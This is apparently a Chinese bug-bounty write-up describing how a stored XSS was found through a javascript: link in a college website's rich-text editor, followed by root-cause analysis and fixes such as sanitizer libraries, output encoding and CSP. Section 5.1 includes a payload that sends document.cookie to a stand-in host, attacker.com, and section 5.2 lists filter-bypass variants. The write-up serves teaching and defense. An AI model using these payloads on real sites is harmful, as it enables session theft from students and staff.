1. 项目概述:一次针对教育机构SRC的存储型XSS挖掘之旅
最近在参与一些教育行业的安全众测项目,也就是大家常说的“挖SRC”。教育领域(edu)的资产往往比较特殊,既有传统的教务系统、门户网站,也有各种实验平台、在线学习系统,用户基数大,数据敏感,因此一直是安全测试的重点关注对象。这次我遇到的是一个典型的学院级系统,在看似常规的功能点里,通过一些不那么常规的“小思路”,成功挖掘到了一个存储型XSS漏洞。整个过程没有用到什么高精尖的自动化工具,更多的是对功能逻辑的细致观察和一点点“脑洞”。我觉得这个案例挺有代表性的,尤其适合刚入门SRC挖掘的朋友,它展示了在常规测试点之外,如何通过理解业务逻辑来发现安全问题。所以,今天就来详细拆解一下这个漏洞的发现过程、原理、利用方式以及后续的修复建议,希望能给大家带来一些启发。
存储型XSS,也叫持久型XSS,是跨站脚本攻击中危害较大的一种。它与反射型XSS最大的区别在于,攻击者提交的恶意脚本会被保存到服务器端(比如数据库、文件系统或缓存中),当其他用户访问包含该恶意数据的页面时,脚本就会在其浏览器中执行。这意味着一次成功的攻击可以影响大量用户,窃取Cookie、会话令牌,甚至进行钓鱼、挂马等操作。在教育系统中,这可能意味着学生的个人信息、教师的账号权限面临风险。我这次的目标系统,就有一个看似普通但实则暗藏玄机的“信息存储”功能点。
2. 目标分析与攻击面梳理
2.1 目标系统特征与初步侦察
我拿到的测试目标是一个二级学院的官方网站,集成了信息发布、师生互动、资源下载等常见功能。这类系统通常由外包公司基于某些开源框架(如ThinkPHP、Spring Boot)定制开发,安全水平参差不齐。我的第一步永远是信息收集,但这次我们不谈子域名爆破、端口扫描那些,而是聚焦于应用层。
首先,我以普通访客身份浏览了整个网站,重点关注所有允许用户输入和展示数据的地方。常见的攻击面包括:
- 用户个人资料:昵称、签名、头像上传。
- 内容发布系统:新闻评论、论坛发帖、留言板。
- 文件上传点:支持上传图片、文档的地方。
- 搜索功能:搜索关键词的回显。
- 各种表单:联系方式提交、问题反馈、申请表单等。
在快速浏览中,我特别注意那些内容会被持久化保存(即刷新页面或重新登录后依然存在)并且会展示给其他用户看的功能。很快,一个“优秀学生风采展示”板块引起了我的注意。这个板块允许管理员(或特定权限用户)发布学生信息,包括姓名、学院、照片和一段“个人事迹”介绍。而这段“个人事迹”在详情页会被渲染展示。这里存在一个经典的“数据存储->数据展示”链条,是存储型XSS的典型温床。
2.2 漏洞假设与测试思路形成
看到这个“个人事迹”文本框,我脑子里立刻有了几个假设和测试方向:
- 基础过滤绕过:开发者可能只在前端用JavaScript做了简单的关键词过滤(如
<script>),或者在后端用replace函数替换掉少数几个标签。这种防御非常脆弱。 - 富文本编辑器滥用:如果这个文本框使用了富文本编辑器(如UEditor、KindEditor),它通常会允许一些HTML标签(如
<p>,<b>,<img>)来格式化文本。那么,如何利用编辑器允许的标签和属性来构造XSS就是关键。 - 上下文突破:数据最终被插入到HTML页面的哪个位置?是在
<div>标签内部,还是作为某个HTML属性的值(如<input value=”$data”>)?不同的上下文需要不同的Payload构造方式。 - 触发时机:是页面加载即执行,还是需要用户进行某些交互(如点击、鼠标移动)?这决定了漏洞的利用难度和隐蔽性。
我的核心思路不再是简单地弹个窗证明漏洞存在,而是系统地验证数据从输入到存储再到输出的整个生命周期中,过滤和编码机制是否存在逻辑缺陷。我准备了一套从简到繁的测试Payload,计划逐步探测系统的防御边界。
3. 漏洞挖掘过程与细节解析
3.1 初探:基础Payload测试与过滤识别
我首先在“个人事迹”文本框里输入了最基础的测试Payload:<script>alert(1)</script>。提交后,页面刷新,事迹详情页并没有弹窗。查看网页源代码,发现输入的尖括号被转义了:<script>alert(1)</script>。这说明后端至少做了HTML实体编码,这是一个好的防护迹象,但并不意味着绝对安全。
接下来,我测试了事件处理器属性。输入:“ onmouseover=”alert(1)。我特意在开头加了个引号,目的是想闭合掉原有的属性值引号。提交后查看源码,发现整个字符串被原样显示,引号也被转义了。看来对普通HTML标签和属性的过滤比较严格。
3.2 深入:利用富文本编辑器特性与标签属性
我注意到这个文本框的工具栏有加粗、斜体、下划线、插入图片等按钮,这证实了它是一个简化的富文本编辑器。我点击“插入图片”按钮,它弹出一个对话框让我输入图片URL。这是一个非常重要的信号!因为<img>标签是富文本编辑器通常允许的标签。
我尝试在图片URL处输入一个经典的XSS Payload:1” onerror=”alert(1)。提交后,查看源码,发现生成的HTML是:<img src=”1%22 onerror=%22alert(1)” />。这里可以看到,src属性值里的双引号被URL编码了(%22),onerror事件被当作普通字符串处理了,没有执行。这是编辑器或后端对属性内容进行了编码或过滤。
但是,<img>标签本身是被成功创建了的。那么,有没有其他属性可以用于执行脚本呢?我回忆了一下,<img>标签有一个不太常用但大部分浏览器支持的属性:src指向一个无效地址时,会触发onerror;此外,还有onload等。但这里onerror被拦了。我换了一个思路:能否利用某些属性,其值本身就是一个可执行的URI协议,比如javascript:。
我构造了新的Payload:在图片URL处输入javascript:alert(1)。提交后,查看源码,结果是:<img src=”javascript:alert(1)” />。没有弹窗。这是因为在现代浏览器安全策略下,<img>标签的src属性直接使用javascript:协议执行代码的行为已经被严格限制,通常不会成功。
3.3 破局:关键思路——<a>标签的href属性
测试似乎陷入了僵局。基础标签和事件被过滤,<img>的javascript:协议被浏览器限制。这时,我换了一个角度思考:富文本编辑器除了图片,通常还允许什么?链接!对,<a>标签。
我选中一段文字,点击编辑器的“插入链接”按钮。在弹出的对话框中,有一个“链接地址”输入框。我尝试在这里输入:javascript:alert(document.domain)。
提交后,我查看前端渲染后的HTML代码。令人兴奋的事情出现了!生成的代码是:<a href=”javascript:alert(document.domain)”>点击这里</a>。并且,当我在前端点击这个链接时,成功弹出了当前页面的域名!
为什么这里成功了?
- 标签允许:
<a>标签是富文本编辑器明确允许的格式化元素,用于插入超链接,因此标签本身没有被过滤。 - 属性利用:
href属性支持多种协议,包括http:、https:、mailto:,也包括javascript:。虽然出于安全考虑,很多编辑器或WAF会过滤javascript:,但显然这个系统没有做到位,或者过滤规则存在缺陷(比如只做了大小写过滤,而我没用大写)。 - 交互触发:与
<img>的onerror自动触发不同,<a>标签的javascript:协议需要用户点击才能触发。这在存储型XSS中虽然降低了自动传播性,但通过社会工程学(如将链接文本改为“查看详细成绩单”、“点击领取奖学金”),诱骗师生点击的概率非常高,危害依然巨大。
3.4 漏洞确认与利用链构建
为了确认这是一个存储型漏洞,我进行了以下操作:
- 清理浏览器缓存,使用另一个浏览器(或隐私模式)访问该“优秀学生风采”展示页面。
- 在不登录的情况下,直接访问包含恶意链接的学生详情页。
- 页面加载后,我看到了那个超链接。点击它,
alert框再次弹出。
这完全符合存储型XSS的定义:恶意Payload(<a href=”javascript:alert(document.domain)”>)被永久存储在服务器的数据库里;任何访问该页面的用户,在点击链接后,都会在其浏览器上下文中执行JavaScript代码。
一个基本的利用链就此形成:
- 攻击者:在拥有发布权限的页面(如“个人事迹”编辑处),通过插入链接功能,在“链接地址”中输入
javascript:恶意代码。 - 存储:系统将包含恶意
<a>标签的HTML代码存入数据库。 - 受害者:任何浏览该页面的师生(包括管理员)看到这个链接。
- 触发:受害者被链接文本吸引点击,恶意代码在其浏览器中执行,攻击者可以窃取其Cookie(
document.cookie)、发起进一步请求(如修改密码、发布信息)等。
4. 漏洞原理深度剖析与修复方案
4.1 漏洞根因分析
这个漏洞的产生是典型的安全开发意识缺失和防护措施不完善共同导致的:
- 不安全的富文本编辑器配置:系统集成了富文本编辑器以提供良好的内容编辑体验,但未对其输出的HTML进行严格的安全过滤和净化(Sanitization)。编辑器默认或配置中允许了
<a>标签,且未对href属性的协议进行白名单限制(如只允许http://,https://,mailto:)。 - 输入输出处理逻辑缺陷:
- 输入侧:后端可能只对直接的
<script>标签和常见事件属性进行了过滤或转义,但对于通过编辑器组件提交的、看似“合法”的HTML内容(如一个链接),缺乏深度检查和过滤。 - 输出侧:在将数据库中的内容渲染到页面时,系统可能对某些字段直接使用了
.innerHTML或类似的不安全赋值方式,而没有根据上下文进行正确的编码。对于<a>标签的href属性,即使内容来自用户,在输出时也应进行验证或编码。
- 输入侧:后端可能只对直接的
- 黑白名单策略失衡:安全防护过于依赖黑名单(阻止已知危险的模式),而未能贯彻白名单策略(只允许已知安全的模式)。黑名单永远无法穷尽所有攻击向量(如
javascript:的各种变形:Javascript:、javaScript:、javascripT:,甚至利用HTML实体编码或Unicode混淆)。
4.2 修复建议与加固措施
对于开发者和安全团队,修复此类漏洞应从多个层面入手:
输入处理:严格的内容安全策略(CSP)与过滤
- 富文本净化库:不要尝试自己写正则表达式去过滤HTML,这极易出错。必须使用成熟、专门针对富文本的HTML净化库,例如:
- Java: OWASP Java HTML Sanitizer
- Python:
bleach库 - JavaScript/Node.js:
DOMPurify(也可以在服务端使用) - PHP:
htmlpurifier
- 这些库的工作原理是白名单。你需要明确配置允许的标签(如
<a>,<p>,<b>)和每个标签允许的属性(如<a>标签只允许href,title,target),并对属性值进行严格校验(如href只允许以http://,https://,mailto:开头,并对其进行规范化处理)。
- 富文本净化库:不要尝试自己写正则表达式去过滤HTML,这极易出错。必须使用成熟、专门针对富文本的HTML净化库,例如:
输出处理:上下文相关的编码
- 即使输入经过了过滤,输出时也应坚持“编码”原则。根据数据将要放入的HTML上下文,采用不同的编码方式:
- HTML正文:使用HTML实体编码(如将
<转为<)。 - HTML属性值:除了HTML实体编码,还要注意属性值应该用引号包裹。
- JavaScript代码中的数据:使用JavaScript Unicode转义。
- URL参数:进行URL编码。
- HTML正文:使用HTML实体编码(如将
- 对于已经过净化的富文本内容,在输出到页面时,可以将其放入一个安全的“沙箱”环境,例如使用
iframe的sandbox属性,或者设置严格的CSP头来限制内联脚本的执行。
- 即使输入经过了过滤,输出时也应坚持“编码”原则。根据数据将要放入的HTML上下文,采用不同的编码方式:
启用Content-Security-Policy (CSP)
- 在HTTP响应头中设置CSP是防御XSS的终极利器。它可以告诉浏览器只允许加载和执行来自特定来源的脚本、样式等资源。一个严格的CSP可以阻止内联JavaScript(包括
javascript:协议和onclick等事件处理器)的执行。 - 例如,可以设置:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com;这表示默认只允许同源资源,脚本只允许来自同源和指定的CDN,从而有效阻断javascript:和未授权内联脚本的攻击。
- 在HTTP响应头中设置CSP是防御XSS的终极利器。它可以告诉浏览器只允许加载和执行来自特定来源的脚本、样式等资源。一个严格的CSP可以阻止内联JavaScript(包括
框架安全特性:
- 如果使用了现代前端框架(如React, Vue, Angular),它们通常提供默认的文本插值转义,能有效防御XSS。但切记,当使用
v-html(Vue) 或dangerouslySetInnerHTML(React) 这类API时,就相当于手动关闭了这层防护,必须确保传入的内容是绝对安全的。
- 如果使用了现代前端框架(如React, Vue, Angular),它们通常提供默认的文本插值转义,能有效防御XSS。但切记,当使用
5. 漏洞利用的扩展思考与防御演练
5.1 漏洞的潜在危害与升级利用
最初我们只是弹了个窗,证明了漏洞存在。但在实际攻击中,攻击者会追求更大的危害:
- 会话劫持:将Payload改为
<a href=”javascript:fetch(‘https://attacker.com/steal?cookie=’+encodeURIComponent(document.cookie))”>点击领奖</a>。一旦用户点击,其会话Cookie就会被发送到攻击者控制的服务器,攻击者即可冒充该用户登录。 - 钓鱼升级:结合页面伪造。Payload可以是一个打开伪造登录弹窗的JavaScript,诱使用户在真实网站上下文中输入账号密码。
- 蠕虫传播:如果该系统存在CSRF漏洞或允许JavaScript进行特定API调用,攻击者可能构造一个自动发布包含恶意链接新内容的Payload,实现蠕虫式传播,影响面急剧扩大。
- 结合其他漏洞:如果网站存在JSONP劫持、CORS配置错误等问题,XSS可以与之联动,读取更多敏感用户数据。
5.2 针对修复措施的绕过尝试(蓝军视角)
作为安全测试者,在厂商修复后,我们如何验证修复是否彻底?可以尝试以下绕过思路:
- 协议混淆:
- 大小写混合:
Javascript:alert(1),javaSCRIPT:... - 插入控制字符或空白符:
java script:alert(1)(Tab键),java\nscript:...。 - 使用HTML实体编码(如果输出时解码不当):
javascript:alert(1)
- 大小写混合:
- 利用其他允许的标签和属性:
- 如果
<a>被彻底禁用,检查是否允许<button>的formaction属性,或者<form>的action属性(虽然通常更难)。 - 检查富文本编辑器是否允许
style属性,尝试使用expression()等旧版IE支持的CSS表达式(现代浏览器已不支持,但用于测试过滤完整性),或尝试通过style引入远程样式表,再结合CSS窃取信息(一种相对高级的攻击)。
- 如果
- 测试净化库的误配置:
- 如果使用了净化库,但配置过于宽松,例如允许
target属性,攻击者可能结合target=”_blank”和window.opener属性进行钓鱼(这属于另一种安全问题,但常与XSS结合)。
- 如果使用了净化库,但配置过于宽松,例如允许
5.3 企业SRC挖掘中的注意事项
对于想在教育或企业SRC平台挖掘漏洞的安全爱好者,我有几点心得:
- 理解业务重于盲目扫描:自动化扫描器能发现常见、已知的漏洞,但对于这种与业务逻辑深度耦合的存储型XSS,手动分析功能流程往往更有效。花时间理解“这个功能是做什么的”、“数据怎么存”、“展示给谁看”。
- 关注非标准输入点:不要只盯着登录框、搜索框。像“个人简介”、“评论回复”、“文件重命名”、“图表标题”这些地方,都可能成为数据持久化和展示的节点。
- 善用浏览器开发者工具:这是你最好的朋友。不断查看“元素”(Elements)面板观察HTML结构变化,使用“控制台”(Console)查看JavaScript错误和日志,在“网络”(Network)面板分析请求与响应,看数据是如何被发送和处理。
- Payload的构造需要耐心和迭代:从最简单的
<script>开始,逐步增加复杂度。观察系统的反应:是直接拦截?是转义?还是原样输出?根据反馈调整你的Payload。 - 遵守规则,授权测试:绝对不要在未授权的情况下对任何系统进行测试。教育SRC平台通常有明确的测试范围和规则,务必仔细阅读并严格遵守。只测试规定范围内的资产,使用测试账号,避免对业务造成实际影响(如大量垃圾数据、DoS等)。
这次对某学院系统的存储型XSS挖掘,核心思路就在于抓住了富文本编辑器中对<a>标签href属性校验不严的弱点。它再次证明,安全是一个链条,任何一个环节的疏忽(在这里是富文本过滤策略)都可能导致整个防线被突破。对于开发者而言,牢记“不信任任何用户输入”,并采用白名单过滤+输出编码+安全头(如CSP)的深度防御策略,是构建安全Web应用的基石。对于安全研究者而言,保持好奇心,深入理解业务逻辑,总能发现那些自动化工具难以触及的漏洞角落。